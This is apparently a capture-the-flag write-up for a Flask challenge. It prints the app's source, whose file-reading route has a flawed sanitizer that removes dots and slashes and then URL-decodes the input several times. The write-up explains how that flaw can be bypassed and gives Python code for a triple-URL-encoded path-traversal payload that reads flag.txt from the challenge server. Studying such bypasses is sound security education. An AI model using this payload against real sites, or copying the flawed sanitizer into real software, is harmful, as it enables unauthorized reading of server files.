Tags: lfi
Rating:
## Problem statement
A web application written with flask is given with its source code. It has a route that takes a query parameter which goes through some sanitization. But of course it's faulty.
Going to the root ("/") of the site redirects us to `/read_secret_message?file=message`.
This is is the directory tree
```
app.py
flag.txt
message/
└── message
```
And this is the content of app.py
```python
from flask import Flask, request, render_template_string, redirect
import os
import urllib.parse
app = Flask(__name__)
base_directory = "message/"
default_file = "message.txt"
def ignore_it(file_param):
yoooo = file_param.replace('.', '').replace('/', '')
if yoooo != file_param:
return "Illegal characters detected in file parameter!"
return yoooo
def another_useless_function(file_param):
return urllib.parse.unquote(file_param)
def url_encode_path(file_param):
return urllib.parse.quote(file_param, safe='')
def useless (file_param):
file_param1 = ignore_it(file_param)
file_param2 = another_useless_function(file_param1)
file_param3 = ignore_it(file_param2)
file_param4 = another_useless_function(file_param3)
file_param5 = another_useless_function(file_param4)
return file_param5
@app.route('/')
def index():
return redirect('/read_secret_message?file=message')
@app.route('/read_secret_message')
def read_file(file_param=None):
file_param = request.args.get('file')
file_param = useless(file_param)
file_path = os.path.join(base_directory, file_param)
try:
with open(file_path, 'r') as file:
content = file.read()
return content
except FileNotFoundError:
return 'File not found! or maybe illegal characters detected'
except Exception as e:
return f'Error: {e}'
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=4053)
```
## Analyzing the sanitization
We can see the `useless()` function is used to sanitize the file parameter. This function uses two other function.
- ignore_it() : Checks for '.' and '/' characters.
- another_useless_function(): Performs the urldecode operation.
Our objective is to create a payload that will load flag.txt, so the path would be `../flag.txt` as the `base_directory` is set to message.
When the request is made, the query parameter is urldecoded once, then it goes through ignore_it, then a urldecode, then another ignore_it and urldecoded twice more. So we can access the file if the query passes through the 2nd call of ignore_it. One thing to note is that urldecoding of ascii characters returns the same string as the input.
## Crafting the payload
After urlencoding, the characters are converted to their ascii value in hex. Which makes it possible to create a query that can bypass ignore_it. As ignore_it is called twice we need to urlencode our payload three times. Why three ? Because when the server receives a request and accesses the query parameter it is already urldecoded once. You can see this in action by adding a print statement before passing the query to useless()
```python
file_param = request.args.get('file')
print("file_param of request :", file_param, flush=True)
file_param = useless(file_param)
```
`app.py` provides a function named `url_encode_path()` which performs urlencoding. We will use that to craft the payload.
An important thing to be aware is that, the "." character doesn't change after urlencoding. So we will urlencode its hex value(2E) two times, and ultimately the server will request the query which is urlencoded 3 times.
```python
import urllib.parse
def url_encode_path(file_param):
return urllib.parse.quote(file_param, safe='')
slash = url_encode_path(url_encode_path(url_encode_path("/")))
dot = url_encode_path(url_encode_path("%2E"))
payload = f"{dot}{dot}{slash}flag{dot}txt"
```
What if we urlencoded 4 times ?
another_useless_function is called 3 times. As the urldecoding is performed once before the query reaches `useless()`, urlencoding 4 times will also pass through and access the file.
You can print the payload and use it or just use python to make the request
```python
import requests
url = f"http://34.132.132.69:8003/read_secret_message?file={payload}"
response = requests.get(url)
print(response.text)
```